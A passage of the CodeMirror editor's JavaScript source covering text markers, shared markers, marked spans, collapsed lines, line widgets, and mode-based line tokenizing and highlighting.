        var match = this.string.slice(this.pos).match(pattern);
        if (match && match.index > 0) return null;
        if (match && consume !== false) this.pos += match[0].length;
        return match;
      }
    },
    current: function(){return this.string.slice(this.start, this.pos);},
    hideFirstChars: function(n, inner) {
      this.lineStart += n;
      try { return inner(); }
      finally { this.lineStart -= n; }
    }
  };

  // TEXTMARKERS

  // Created with markText and setBookmark methods. A TextMarker is a
  // handle that can be used to clear or find a marked position in the
  // document. Line objects hold arrays (markedSpans) containing
  // {from, to, marker} object pointing to such marker objects, and
  // indicating that such a marker is present on that line. Multiple
  // lines may point to the same marker when it spans across lines.
  // The spans will have null for their from/to properties when the
  // marker continues beyond the start/end of the line. Markers have
  // links back to the lines they currently touch.

  var nextMarkerId = 0;

  var TextMarker = CodeMirror.TextMarker = function(doc, type) {
    this.lines = [];
    this.type = type;
    this.doc = doc;
    this.id = ++nextMarkerId;
  };
  eventMixin(TextMarker);

  // Clear the marker.
  TextMarker.prototype.clear = function() {
    if (this.explicitlyCleared) return;
    var cm = this.doc.cm, withOp = cm && !cm.curOp;
    if (withOp) startOperation(cm);
    if (hasHandler(this, "clear")) {
      var found = this.find();
      if (found) signalLater(this, "clear", found.from, found.to);
    }
    var min = null, max = null;
    for (var i = 0; i < this.lines.length; ++i) {
      var line = this.lines[i];
      var span = getMarkedSpanFor(line.markedSpans, this);
      if (cm && !this.collapsed) regLineChange(cm, lineNo(line), "text");
      else if (cm) {
        if (span.to != null) max = lineNo(line);
        if (span.from != null) min = lineNo(line);
      }
      line.markedSpans = removeMarkedSpan(line.markedSpans, span);
      if (span.from == null && this.collapsed && !lineIsHidden(this.doc, line) && cm)
        updateLineHeight(line, textHeight(cm.display));
    }
    if (cm && this.collapsed && !cm.options.lineWrapping) for (var i = 0; i < this.lines.length; ++i) {
      var visual = visualLine(this.lines[i]), len = lineLength(visual);
      if (len > cm.display.maxLineLength) {
        cm.display.maxLine = visual;
        cm.display.maxLineLength = len;
        cm.display.maxLineChanged = true;
      }
    }

    if (min != null && cm && this.collapsed) regChange(cm, min, max + 1);
    this.lines.length = 0;
    this.explicitlyCleared = true;
    if (this.atomic && this.doc.cantEdit) {
      this.doc.cantEdit = false;
      if (cm) reCheckSelection(cm.doc);
    }
    if (cm) signalLater(cm, "markerCleared", cm, this);
    if (withOp) endOperation(cm);
    if (this.parent) this.parent.clear();
  };

  // Find the position of the marker in the document. Returns a {from,
  // to} object by default. Side can be passed to get a specific side
  // -- 0 (both), -1 (left), or 1 (right). When lineObj is true, the
  // Pos objects returned contain a line object, rather than a line
  // number (used to prevent looking up the same line twice).
  TextMarker.prototype.find = function(side, lineObj) {
    if (side == null && this.type == "bookmark") side = 1;
    var from, to;
    for (var i = 0; i < this.lines.length; ++i) {
      var line = this.lines[i];
      var span = getMarkedSpanFor(line.markedSpans, this);
      if (span.from != null) {
        from = Pos(lineObj ? line : lineNo(line), span.from);
        if (side == -1) return from;
      }
      if (span.to != null) {
        to = Pos(lineObj ? line : lineNo(line), span.to);
        if (side == 1) return to;
      }
    }
    return from && {from: from, to: to};
  };

  // Signals that the marker's widget changed, and surrounding layout
  // should be recomputed.
  TextMarker.prototype.changed = function() {
    var pos = this.find(-1, true), widget = this, cm = this.doc.cm;
    if (!pos || !cm) return;
    runInOp(cm, function() {
      var line = pos.line, lineN = lineNo(pos.line);
      var view = findViewForLine(cm, lineN);
      if (view) {
        clearLineMeasurementCacheFor(view);
        cm.curOp.selectionChanged = cm.curOp.forceUpdate = true;
      }
      cm.curOp.updateMaxLine = true;
      if (!lineIsHidden(widget.doc, line) && widget.height != null) {
        var oldHeight = widget.height;
        widget.height = null;
        var dHeight = widgetHeight(widget) - oldHeight;
        if (dHeight)
          updateLineHeight(line, line.height + dHeight);
      }
    });
  };

  TextMarker.prototype.attachLine = function(line) {
    if (!this.lines.length && this.doc.cm) {
      var op = this.doc.cm.curOp;
      if (!op.maybeHiddenMarkers || indexOf(op.maybeHiddenMarkers, this) == -1)
        (op.maybeUnhiddenMarkers || (op.maybeUnhiddenMarkers = [])).push(this);
    }
    this.lines.push(line);
  };
  TextMarker.prototype.detachLine = function(line) {
    this.lines.splice(indexOf(this.lines, line), 1);
    if (!this.lines.length && this.doc.cm) {
      var op = this.doc.cm.curOp;
      (op.maybeHiddenMarkers || (op.maybeHiddenMarkers = [])).push(this);
    }
  };

  // Collapsed markers have unique ids, in order to be able to order
  // them, which is needed for uniquely determining an outer marker
  // when they overlap (they may nest, but not partially overlap).
  var nextMarkerId = 0;

  // Create a marker, wire it up to the right lines, and
  function markText(doc, from, to, options, type) {
    // Shared markers (across linked documents) are handled separately
    // (markTextShared will call out to this again, once per
    // document).
    if (options && options.shared) return markTextShared(doc, from, to, options, type);
    // Ensure we are in an operation.
    if (doc.cm && !doc.cm.curOp) return operation(doc.cm, markText)(doc, from, to, options, type);

    var marker = new TextMarker(doc, type), diff = cmp(from, to);
    if (options) copyObj(options, marker, false);
    // Don't connect empty markers unless clearWhenEmpty is false
    if (diff > 0 || diff == 0 && marker.clearWhenEmpty !== false)
      return marker;
    if (marker.replacedWith) {
      // Showing up as a widget implies collapsed (widget replaces text)
      marker.collapsed = true;
      marker.widgetNode = elt("span", [marker.replacedWith], "CodeMirror-widget");
      if (!options.handleMouseEvents) marker.widgetNode.setAttribute("cm-ignore-events", "true");
      if (options.insertLeft) marker.widgetNode.insertLeft = true;
    }
    if (marker.collapsed) {
      if (conflictingCollapsedRange(doc, from.line, from, to, marker) ||
          from.line != to.line && conflictingCollapsedRange(doc, to.line, from, to, marker))
        throw new Error("Inserting collapsed marker partially overlapping an existing one");
      sawCollapsedSpans = true;
    }

    if (marker.addToHistory)
      addChangeToHistory(doc, {from: from, to: to, origin: "markText"}, doc.sel, NaN);

    var curLine = from.line, cm = doc.cm, updateMaxLine;
    doc.iter(curLine, to.line + 1, function(line) {
      if (cm && marker.collapsed && !cm.options.lineWrapping && visualLine(line) == cm.display.maxLine)
        updateMaxLine = true;
      if (marker.collapsed && curLine != from.line) updateLineHeight(line, 0);
      addMarkedSpan(line, new MarkedSpan(marker,
                                         curLine == from.line ? from.ch : null,
                                         curLine == to.line ? to.ch : null));
      ++curLine;
    });
    // lineIsHidden depends on the presence of the spans, so needs a second pass
    if (marker.collapsed) doc.iter(from.line, to.line + 1, function(line) {
      if (lineIsHidden(doc, line)) updateLineHeight(line, 0);
    });

    if (marker.clearOnEnter) on(marker, "beforeCursorEnter", function() { marker.clear(); });

    if (marker.readOnly) {
      sawReadOnlySpans = true;
      if (doc.history.done.length || doc.history.undone.length)
        doc.clearHistory();
    }
    if (marker.collapsed) {
      marker.id = ++nextMarkerId;
      marker.atomic = true;
    }
    if (cm) {
      // Sync editor state
      if (updateMaxLine) cm.curOp.updateMaxLine = true;
      if (marker.collapsed)
        regChange(cm, from.line, to.line + 1);
      else if (marker.className || marker.title || marker.startStyle || marker.endStyle || marker.css)
        for (var i = from.line; i <= to.line; i++) regLineChange(cm, i, "text");
      if (marker.atomic) reCheckSelection(cm.doc);
      signalLater(cm, "markerAdded", cm, marker);
    }
    return marker;
  }

  // SHARED TEXTMARKERS

  // A shared marker spans multiple linked documents. It is
  // implemented as a meta-marker-object controlling multiple normal
  // markers.
  var SharedTextMarker = CodeMirror.SharedTextMarker = function(markers, primary) {
    this.markers = markers;
    this.primary = primary;
    for (var i = 0; i < markers.length; ++i)
      markers[i].parent = this;
  };
  eventMixin(SharedTextMarker);

  SharedTextMarker.prototype.clear = function() {
    if (this.explicitlyCleared) return;
    this.explicitlyCleared = true;
    for (var i = 0; i < this.markers.length; ++i)
      this.markers[i].clear();
    signalLater(this, "clear");
  };
  SharedTextMarker.prototype.find = function(side, lineObj) {
    return this.primary.find(side, lineObj);
  };

  function markTextShared(doc, from, to, options, type) {
    options = copyObj(options);
    options.shared = false;
    var markers = [markText(doc, from, to, options, type)], primary = markers[0];
    var widget = options.widgetNode;
    linkedDocs(doc, function(doc) {
      if (widget) options.widgetNode = widget.cloneNode(true);
      markers.push(markText(doc, clipPos(doc, from), clipPos(doc, to), options, type));
      for (var i = 0; i < doc.linked.length; ++i)
        if (doc.linked[i].isParent) return;
      primary = lst(markers);
    });
    return new SharedTextMarker(markers, primary);
  }

  function findSharedMarkers(doc) {
    return doc.findMarks(Pos(doc.first, 0), doc.clipPos(Pos(doc.lastLine())),
                         function(m) { return m.parent; });
  }

  function copySharedMarkers(doc, markers) {
    for (var i = 0; i < markers.length; i++) {
      var marker = markers[i], pos = marker.find();
      var mFrom = doc.clipPos(pos.from), mTo = doc.clipPos(pos.to);
      if (cmp(mFrom, mTo)) {
        var subMark = markText(doc, mFrom, mTo, marker.primary, marker.primary.type);
        marker.markers.push(subMark);
        subMark.parent = marker;
      }
    }
  }

  function detachSharedMarkers(markers) {
    for (var i = 0; i < markers.length; i++) {
      var marker = markers[i], linked = [marker.primary.doc];;
      linkedDocs(marker.primary.doc, function(d) { linked.push(d); });
      for (var j = 0; j < marker.markers.length; j++) {
        var subMarker = marker.markers[j];
        if (indexOf(linked, subMarker.doc) == -1) {
          subMarker.parent = null;
          marker.markers.splice(j--, 1);
        }
      }
    }
  }

  // TEXTMARKER SPANS

  function MarkedSpan(marker, from, to) {
    this.marker = marker;
    this.from = from; this.to = to;
  }

  // Search an array of spans for a span matching the given marker.
  function getMarkedSpanFor(spans, marker) {
    if (spans) for (var i = 0; i < spans.length; ++i) {
      var span = spans[i];
      if (span.marker == marker) return span;
    }
  }
  // Remove a span from an array, returning undefined if no spans are
  // left (we don't store arrays for lines without spans).
  function removeMarkedSpan(spans, span) {
    for (var r, i = 0; i < spans.length; ++i)
      if (spans[i] != span) (r || (r = [])).push(spans[i]);
    return r;
  }
  // Add a span to a line.
  function addMarkedSpan(line, span) {
    line.markedSpans = line.markedSpans ? line.markedSpans.concat([span]) : [span];
    span.marker.attachLine(line);
  }

  // Used for the algorithm that adjusts markers for a change in the
  // document. These functions cut an array of spans at a given
  // character position, returning an array of remaining chunks (or
  // undefined if nothing remains).
  function markedSpansBefore(old, startCh, isInsert) {
    if (old) for (var i = 0, nw; i < old.length; ++i) {
      var span = old[i], marker = span.marker;
      var startsBefore = span.from == null || (marker.inclusiveLeft ? span.from <= startCh : span.from < startCh);
      if (startsBefore || span.from == startCh && marker.type == "bookmark" && (!isInsert || !span.marker.insertLeft)) {
        var endsAfter = span.to == null || (marker.inclusiveRight ? span.to >= startCh : span.to > startCh);
        (nw || (nw = [])).push(new MarkedSpan(marker, span.from, endsAfter ? null : span.to));
      }
    }
    return nw;
  }
  function markedSpansAfter(old, endCh, isInsert) {
    if (old) for (var i = 0, nw; i < old.length; ++i) {
      var span = old[i], marker = span.marker;
      var endsAfter = span.to == null || (marker.inclusiveRight ? span.to >= endCh : span.to > endCh);
      if (endsAfter || span.from == endCh && marker.type == "bookmark" && (!isInsert || span.marker.insertLeft)) {
        var startsBefore = span.from == null || (marker.inclusiveLeft ? span.from <= endCh : span.from < endCh);
        (nw || (nw = [])).push(new MarkedSpan(marker, startsBefore ? null : span.from - endCh,
                                              span.to == null ? null : span.to - endCh));
      }
    }
    return nw;
  }

  // Given a change object, compute the new set of marker spans that
  // cover the line in which the change took place. Removes spans
  // entirely within the change, reconnects spans belonging to the
  // same marker that appear on both sides of the change, and cuts off
  // spans partially within the change. Returns an array of span
  // arrays with one element for each line in (after) the change.
  function stretchSpansOverChange(doc, change) {
    if (change.full) return null;
    var oldFirst = isLine(doc, change.from.line) && getLine(doc, change.from.line).markedSpans;
    var oldLast = isLine(doc, change.to.line) && getLine(doc, change.to.line).markedSpans;
    if (!oldFirst && !oldLast) return null;

    var startCh = change.from.ch, endCh = change.to.ch, isInsert = cmp(change.from, change.to) == 0;
    // Get the spans that 'stick out' on both sides
    var first = markedSpansBefore(oldFirst, startCh, isInsert);
    var last = markedSpansAfter(oldLast, endCh, isInsert);

    // Next, merge those two ends
    var sameLine = change.text.length == 1, offset = lst(change.text).length + (sameLine ? startCh : 0);
    if (first) {
      // Fix up .to properties of first
      for (var i = 0; i < first.length; ++i) {
        var span = first[i];
        if (span.to == null) {
          var found = getMarkedSpanFor(last, span.marker);
          if (!found) span.to = startCh;
          else if (sameLine) span.to = found.to == null ? null : found.to + offset;
        }
      }
    }
    if (last) {
      // Fix up .from in last (or move them into first in case of sameLine)
      for (var i = 0; i < last.length; ++i) {
        var span = last[i];
        if (span.to != null) span.to += offset;
        if (span.from == null) {
          var found = getMarkedSpanFor(first, span.marker);
          if (!found) {
            span.from = offset;
            if (sameLine) (first || (first = [])).push(span);
          }
        } else {
          span.from += offset;
          if (sameLine) (first || (first = [])).push(span);
        }
      }
    }
    // Make sure we didn't create any zero-length spans
    if (first) first = clearEmptySpans(first);
    if (last && last != first) last = clearEmptySpans(last);

    var newMarkers = [first];
    if (!sameLine) {
      // Fill gap with whole-line-spans
      var gap = change.text.length - 2, gapMarkers;
      if (gap > 0 && first)
        for (var i = 0; i < first.length; ++i)
          if (first[i].to == null)
            (gapMarkers || (gapMarkers = [])).push(new MarkedSpan(first[i].marker, null, null));
      for (var i = 0; i < gap; ++i)
        newMarkers.push(gapMarkers);
      newMarkers.push(last);
    }
    return newMarkers;
  }

  // Remove spans that are empty and don't have a clearWhenEmpty
  // option of false.
  function clearEmptySpans(spans) {
    for (var i = 0; i < spans.length; ++i) {
      var span = spans[i];
      if (span.from != null && span.from == span.to && span.marker.clearWhenEmpty !== false)
        spans.splice(i--, 1);
    }
    if (!spans.length) return null;
    return spans;
  }

  // Used for un/re-doing changes from the history. Combines the
  // result of computing the existing spans with the set of spans that
  // existed in the history (so that deleting around a span and then
  // undoing brings back the span).
  function mergeOldSpans(doc, change) {
    var old = getOldSpans(doc, change);
    var stretched = stretchSpansOverChange(doc, change);
    if (!old) return stretched;
    if (!stretched) return old;

    for (var i = 0; i < old.length; ++i) {
      var oldCur = old[i], stretchCur = stretched[i];
      if (oldCur && stretchCur) {
        spans: for (var j = 0; j < stretchCur.length; ++j) {
          var span = stretchCur[j];
          for (var k = 0; k < oldCur.length; ++k)
            if (oldCur[k].marker == span.marker) continue spans;
          oldCur.push(span);
        }
      } else if (stretchCur) {
        old[i] = stretchCur;
      }
    }
    return old;
  }

  // Used to 'clip' out readOnly ranges when making a change.
  function removeReadOnlyRanges(doc, from, to) {
    var markers = null;
    doc.iter(from.line, to.line + 1, function(line) {
      if (line.markedSpans) for (var i = 0; i < line.markedSpans.length; ++i) {
        var mark = line.markedSpans[i].marker;
        if (mark.readOnly && (!markers || indexOf(markers, mark) == -1))
          (markers || (markers = [])).push(mark);
      }
    });
    if (!markers) return null;
    var parts = [{from: from, to: to}];
    for (var i = 0; i < markers.length; ++i) {
      var mk = markers[i], m = mk.find(0);
      for (var j = 0; j < parts.length; ++j) {
        var p = parts[j];
        if (cmp(p.to, m.from) < 0 || cmp(p.from, m.to) > 0) continue;
        var newParts = [j, 1], dfrom = cmp(p.from, m.from), dto = cmp(p.to, m.to);
        if (dfrom < 0 || !mk.inclusiveLeft && !dfrom)
          newParts.push({from: p.from, to: m.from});
        if (dto > 0 || !mk.inclusiveRight && !dto)
          newParts.push({from: m.to, to: p.to});
        parts.splice.apply(parts, newParts);
        j += newParts.length - 1;
      }
    }
    return parts;
  }

  // Connect or disconnect spans from a line.
  function detachMarkedSpans(line) {
    var spans = line.markedSpans;
    if (!spans) return;
    for (var i = 0; i < spans.length; ++i)
      spans[i].marker.detachLine(line);
    line.markedSpans = null;
  }
  function attachMarkedSpans(line, spans) {
    if (!spans) return;
    for (var i = 0; i < spans.length; ++i)
      spans[i].marker.attachLine(line);
    line.markedSpans = spans;
  }

  // Helpers used when computing which overlapping collapsed span
  // counts as the larger one.
  function extraLeft(marker) { return marker.inclusiveLeft ? -1 : 0; }
  function extraRight(marker) { return marker.inclusiveRight ? 1 : 0; }

  // Returns a number indicating which of two overlapping collapsed
  // spans is larger (and thus includes the other). Falls back to
  // comparing ids when the spans cover exactly the same range.
  function compareCollapsedMarkers(a, b) {
    var lenDiff = a.lines.length - b.lines.length;
    if (lenDiff != 0) return lenDiff;
    var aPos = a.find(), bPos = b.find();
    var fromCmp = cmp(aPos.from, bPos.from) || extraLeft(a) - extraLeft(b);
    if (fromCmp) return -fromCmp;
    var toCmp = cmp(aPos.to, bPos.to) || extraRight(a) - extraRight(b);
    if (toCmp) return toCmp;
    return b.id - a.id;
  }

  // Find out whether a line ends or starts in a collapsed span. If
  // so, return the marker for that span.
  function collapsedSpanAtSide(line, start) {
    var sps = sawCollapsedSpans && line.markedSpans, found;
    if (sps) for (var sp, i = 0; i < sps.length; ++i) {
      sp = sps[i];
      if (sp.marker.collapsed && (start ? sp.from : sp.to) == null &&
          (!found || compareCollapsedMarkers(found, sp.marker) < 0))
        found = sp.marker;
    }
    return found;
  }
  function collapsedSpanAtStart(line) { return collapsedSpanAtSide(line, true); }
  function collapsedSpanAtEnd(line) { return collapsedSpanAtSide(line, false); }

  // Test whether there exists a collapsed span that partially
  // overlaps (covers the start or end, but not both) of a new span.
  // Such overlap is not allowed.
  function conflictingCollapsedRange(doc, lineNo, from, to, marker) {
    var line = getLine(doc, lineNo);
    var sps = sawCollapsedSpans && line.markedSpans;
    if (sps) for (var i = 0; i < sps.length; ++i) {
      var sp = sps[i];
      if (!sp.marker.collapsed) continue;
      var found = sp.marker.find(0);
      var fromCmp = cmp(found.from, from) || extraLeft(sp.marker) - extraLeft(marker);
      var toCmp = cmp(found.to, to) || extraRight(sp.marker) - extraRight(marker);
      if (fromCmp >= 0 && toCmp <= 0 || fromCmp <= 0 && toCmp >= 0) continue;
      if (fromCmp <= 0 && (cmp(found.to, from) > 0 || (sp.marker.inclusiveRight && marker.inclusiveLeft)) ||
          fromCmp >= 0 && (cmp(found.from, to) < 0 || (sp.marker.inclusiveLeft && marker.inclusiveRight)))
        return true;
    }
  }

  // A visual line is a line as drawn on the screen. Folding, for
  // example, can cause multiple logical lines to appear on the same
  // visual line. This finds the start of the visual line that the
  // given line is part of (usually that is the line itself).
  function visualLine(line) {
    var merged;
    while (merged = collapsedSpanAtStart(line))
      line = merged.find(-1, true).line;
    return line;
  }

  // Returns an array of logical lines that continue the visual line
  // started by the argument, or undefined if there are no such lines.
  function visualLineContinued(line) {
    var merged, lines;
    while (merged = collapsedSpanAtEnd(line)) {
      line = merged.find(1, true).line;
      (lines || (lines = [])).push(line);
    }
    return lines;
  }

  // Get the line number of the start of the visual line that the
  // given line number is part of.
  function visualLineNo(doc, lineN) {
    var line = getLine(doc, lineN), vis = visualLine(line);
    if (line == vis) return lineN;
    return lineNo(vis);
  }
  // Get the line number of the start of the next visual line after
  // the given line.
  function visualLineEndNo(doc, lineN) {
    if (lineN > doc.lastLine()) return lineN;
    var line = getLine(doc, lineN), merged;
    if (!lineIsHidden(doc, line)) return lineN;
    while (merged = collapsedSpanAtEnd(line))
      line = merged.find(1, true).line;
    return lineNo(line) + 1;
  }

  // Compute whether a line is hidden. Lines count as hidden when they
  // are part of a visual line that starts with another line, or when
  // they are entirely covered by collapsed, non-widget span.
  function lineIsHidden(doc, line) {
    var sps = sawCollapsedSpans && line.markedSpans;
    if (sps) for (var sp, i = 0; i < sps.length; ++i) {
      sp = sps[i];
      if (!sp.marker.collapsed) continue;
      if (sp.from == null) return true;
      if (sp.marker.widgetNode) continue;
      if (sp.from == 0 && sp.marker.inclusiveLeft && lineIsHiddenInner(doc, line, sp))
        return true;
    }
  }
  function lineIsHiddenInner(doc, line, span) {
    if (span.to == null) {
      var end = span.marker.find(1, true);
      return lineIsHiddenInner(doc, end.line, getMarkedSpanFor(end.line.markedSpans, span.marker));
    }
    if (span.marker.inclusiveRight && span.to == line.text.length)
      return true;
    for (var sp, i = 0; i < line.markedSpans.length; ++i) {
      sp = line.markedSpans[i];
      if (sp.marker.collapsed && !sp.marker.widgetNode && sp.from == span.to &&
          (sp.to == null || sp.to != span.from) &&
          (sp.marker.inclusiveLeft || span.marker.inclusiveRight) &&
          lineIsHiddenInner(doc, line, sp)) return true;
    }
  }

  // LINE WIDGETS

  // Line widgets are block elements displayed above or below a line.

  var LineWidget = CodeMirror.LineWidget = function(doc, node, options) {
    if (options) for (var opt in options) if (options.hasOwnProperty(opt))
      this[opt] = options[opt];
    this.doc = doc;
    this.node = node;
  };
  eventMixin(LineWidget);

  function adjustScrollWhenAboveVisible(cm, line, diff) {
    if (heightAtLine(line) < ((cm.curOp && cm.curOp.scrollTop) || cm.doc.scrollTop))
      addToScrollPos(cm, null, diff);
  }

  LineWidget.prototype.clear = function() {
    var cm = this.doc.cm, ws = this.line.widgets, line = this.line, no = lineNo(line);
    if (no == null || !ws) return;
    for (var i = 0; i < ws.length; ++i) if (ws[i] == this) ws.splice(i--, 1);
    if (!ws.length) line.widgets = null;
    var height = widgetHeight(this);
    updateLineHeight(line, Math.max(0, line.height - height));
    if (cm) runInOp(cm, function() {
      adjustScrollWhenAboveVisible(cm, line, -height);
      regLineChange(cm, no, "widget");
    });
  };
  LineWidget.prototype.changed = function() {
    var oldH = this.height, cm = this.doc.cm, line = this.line;
    this.height = null;
    var diff = widgetHeight(this) - oldH;
    if (!diff) return;
    updateLineHeight(line, line.height + diff);
    if (cm) runInOp(cm, function() {
      cm.curOp.forceUpdate = true;
      adjustScrollWhenAboveVisible(cm, line, diff);
    });
  };

  function widgetHeight(widget) {
    if (widget.height != null) return widget.height;
    var cm = widget.doc.cm;
    if (!cm) return 0;
    if (!contains(document.body, widget.node)) {
      var parentStyle = "position: relative;";
      if (widget.coverGutter)
        parentStyle += "margin-left: -" + cm.display.gutters.offsetWidth + "px;";
      if (widget.noHScroll)
        parentStyle += "width: " + cm.display.wrapper.clientWidth + "px;";
      removeChildrenAndAdd(cm.display.measure, elt("div", [widget.node], null, parentStyle));
    }
    return widget.height = widget.node.offsetHeight;
  }

  function addLineWidget(doc, handle, node, options) {
    var widget = new LineWidget(doc, node, options);
    var cm = doc.cm;
    if (cm && widget.noHScroll) cm.display.alignWidgets = true;
    changeLine(doc, handle, "widget", function(line) {
      var widgets = line.widgets || (line.widgets = []);
      if (widget.insertAt == null) widgets.push(widget);
      else widgets.splice(Math.min(widgets.length - 1, Math.max(0, widget.insertAt)), 0, widget);
      widget.line = line;
      if (cm && !lineIsHidden(doc, line)) {
        var aboveVisible = heightAtLine(line) < doc.scrollTop;
        updateLineHeight(line, line.height + widgetHeight(widget));
        if (aboveVisible) addToScrollPos(cm, null, widget.height);
        cm.curOp.forceUpdate = true;
      }
      return true;
    });
    return widget;
  }

  // LINE DATA STRUCTURE

  // Line objects. These hold state related to a line, including
  // highlighting info (the styles array).
  var Line = CodeMirror.Line = function(text, markedSpans, estimateHeight) {
    this.text = text;
    attachMarkedSpans(this, markedSpans);
    this.height = estimateHeight ? estimateHeight(this) : 1;
  };
  eventMixin(Line);
  Line.prototype.lineNo = function() { return lineNo(this); };

  // Change the content (text, markers) of a line. Automatically
  // invalidates cached information and tries to re-estimate the
  // line's height.
  function updateLine(line, text, markedSpans, estimateHeight) {
    line.text = text;
    if (line.stateAfter) line.stateAfter = null;
    if (line.styles) line.styles = null;
    if (line.order != null) line.order = null;
    detachMarkedSpans(line);
    attachMarkedSpans(line, markedSpans);
    var estHeight = estimateHeight ? estimateHeight(line) : 1;
    if (estHeight != line.height) updateLineHeight(line, estHeight);
  }

  // Detach a line from the document tree and its markers.
  function cleanUpLine(line) {
    line.parent = null;
    detachMarkedSpans(line);
  }

  function extractLineClasses(type, output) {
    if (type) for (;;) {
      var lineClass = type.match(/(?:^|\s+)line-(background-)?(\S+)/);
      if (!lineClass) break;
      type = type.slice(0, lineClass.index) + type.slice(lineClass.index + lineClass[0].length);
      var prop = lineClass[1] ? "bgClass" : "textClass";
      if (output[prop] == null)
        output[prop] = lineClass[2];
      else if (!(new RegExp("(?:^|\s)" + lineClass[2] + "(?:$|\s)")).test(output[prop]))
        output[prop] += " " + lineClass[2];
    }
    return type;
  }

  function callBlankLine(mode, state) {
    if (mode.blankLine) return mode.blankLine(state);
    if (!mode.innerMode) return;
    var inner = CodeMirror.innerMode(mode, state);
    if (inner.mode.blankLine) return inner.mode.blankLine(inner.state);
  }

  function readToken(mode, stream, state, inner) {
    for (var i = 0; i < 10; i++) {
      if (inner) inner[0] = CodeMirror.innerMode(mode, state).mode;
      var style = mode.token(stream, state);
      if (stream.pos > stream.start) return style;
    }
    throw new Error("Mode " + mode.name + " failed to advance stream.");
  }

  // Utility for getTokenAt and getLineTokens
  function takeToken(cm, pos, precise, asArray) {
    function getObj(copy) {
      return {start: stream.start, end: stream.pos,
              string: stream.current(),
              type: style || null,
              state: copy ? copyState(doc.mode, state) : state};
    }

    var doc = cm.doc, mode = doc.mode, style;
    pos = clipPos(doc, pos);
    var line = getLine(doc, pos.line), state = getStateBefore(cm, pos.line, precise);
    var stream = new StringStream(line.text, cm.options.tabSize), tokens;
    if (asArray) tokens = [];
    while ((asArray || stream.pos < pos.ch) && !stream.eol()) {
      stream.start = stream.pos;
      style = readToken(mode, stream, state);
      if (asArray) tokens.push(getObj(true));
    }
    return asArray ? tokens : getObj();
  }

  // Run the given mode's parser over a line, calling f for each token.
  function runMode(cm, text, mode, state, f, lineClasses, forceToEnd) {
    var flattenSpans = mode.flattenSpans;
    if (flattenSpans == null) flattenSpans = cm.options.flattenSpans;
    var curStart = 0, curStyle = null;
    var stream = new StringStream(text, cm.options.tabSize), style;
    var inner = cm.options.addModeClass && [null];
    if (text == "") extractLineClasses(callBlankLine(mode, state), lineClasses);
    while (!stream.eol()) {
      if (stream.pos > cm.options.maxHighlightLength) {
        flattenSpans = false;
        if (forceToEnd) processLine(cm, text, state, stream.pos);
        stream.pos = text.length;
        style = null;
      } else {
        style = extractLineClasses(readToken(mode, stream, state, inner), lineClasses);
      }
      if (inner) {
        var mName = inner[0].name;
        if (mName) style = "m-" + (style ? mName + " " + style : mName);
      }
      if (!flattenSpans || curStyle != style) {
        while (curStart < stream.start) {
          curStart = Math.min(stream.start, curStart + 50000);
          f(curStart, curStyle);
        }
        curStyle = style;
      }
      stream.start = stream.pos;
    }
    while (curStart < stream.pos) {
      // Webkit seems to refuse to render text nodes longer than 57444 characters
      var pos = Math.min(stream.pos, curStart + 50000);
      f(pos, curStyle);
      curStart = pos;
    }
  }

  // Compute a style array (an array starting with a mode generation
  // -- for invalidation -- followed by pairs of end positions and
  // style strings), which is used to highlight the tokens on the
  // line.
  function highlightLine(cm, line, state, forceToEnd) {
    // A styles array always starts with a number identifying the
    // mode/overlays that it is based on (for easy invalidation).
    var st = [cm.state.modeGen], lineClasses = {};
    // Compute the base array of styles
    runMode(cm, line.text, cm.doc.mode, state, function(end, style) {
      st.push(end, style);
    }, lineClasses, forceToEnd);

    // Run overlays, adjust style array.
    for (var o = 0; o < cm.state.overlays.length; ++o) {
      var overlay = cm.state.overlays[o], i = 1, at = 0;
      runMode(cm, line.text, overlay.mode, true, function(end, style) {
        var start = i;
        // Ensure there's a token end at the current position, and that i points at it
        while (at < end) {
          var i_end = st[i];
          if (i_end > end)
            st.splice(i, 1, end, st[i+1], i_end);
          i += 2;
          at = Math.min(end, i_end);
        }
        if (!style) return;
        if (overlay.opaque) {
          st.splice(start, i - start, end, "cm-overlay " + style);
          i = start + 2;
        } else {
          for (; start < i; start += 2) {
            var cur = st[start+1];
            st[start+1] = (cur ? cur + " " : "") + "cm-overlay " + style;
          }
        }
      }, lineClasses);
    }

    return {styles: st, classes: lineClasses.bgClass || lineClasses.textClass ? lineClasses : null};
  }

  function getLineStyles(cm, line, updateFrontier) {
    if (!line.styles || line.styles[0] != cm.state.modeGen) {
      var state = getStateBefore(cm, lineNo(line));
      var result = highlightLine(cm, line, line.text.length > cm.options.maxHighlightLength ? copyState(cm.doc.mode, state) : state);
      line.stateAfter = state;
      line.styles = result.styles;
      if (result.classes) line.styleClasses = result.classes;
      else if (line.styleClasses) line.styleClasses = null;
      if (updateFrontier === cm.doc.frontier) cm.doc.frontier++;
    }
    return line.styles;
  }

  // Lightweight form of highlight -- proceed over this line and
  // update state, but don't save a style array. Used for lines that
  // aren't currently visible.
  function processLine(cm, text, state, startAt) {
    var mode = cm.doc.mode;
    var stream = new StringStream(text, cm.options.tabSize);
    stream.start = stream.pos = startAt || 0;
    if (text == "") callBlankLine(mode, state);
    while (!stream.eol()) {
      readToken(mode, stream, state);
      stream.start = stream.pos;
    }
  }

  // Convert a style as returned by a mode (either null, or a string
  // containing one or more styles) to a CSS style. This is cached,
  // and also looks for line-wide styles.
  var styleToClassCache = {}, styleToClassCacheWithMode = {};
  function interpretTokenStyle(style, options) {
    if (!style || /^\s*$/.test(style)) return null;
    var cache = options.addModeClass ? styleToClassCacheWithMode : styleToClassCache;
    return cache[style] ||
      (cache[style] = style.replace(/\S+/g, "cm-$&"));
  }

  // Render the DOM representation of the text of a line. Also builds
  // up a 'line map', which points at the DOM nodes that represent
  // specific stretches of text, and is used by the measuring code.
  // The returned object contains the DOM node, this map, and
  // information about line-wide styles that were set by the mode.
  function buildLineContent(cm, lineView) {
    // The padding-right forces the element to have a 'border', which
    // is needed on Webkit to be able to get line-level bounding
    // rectangles for it (in measureChar).
    var content = elt("span", null, null, webkit ? "padding-right: .1px" : null);
    var builder = {pre: elt("pre", [content], "CodeMirror-line"), content: content,
                   col: 0, pos: 0, cm: cm,
                   splitSpaces: (ie || webkit) && cm.getOption("lineWrapping")};
    lineView.measure = {};

    // Iterate over the logical lines that make up this visual line.
    for (var i = 0; i <= (lineView.rest ? lineView.rest.length : 0); i++) {
      var line = i ? lineView.rest[i - 1] : lineView.line, order;
      builder.pos = 0;
      builder.addToken = buildToken;
      // Optionally wire in some hacks into the token-rendering
      // algorithm, to deal with browser quirks.
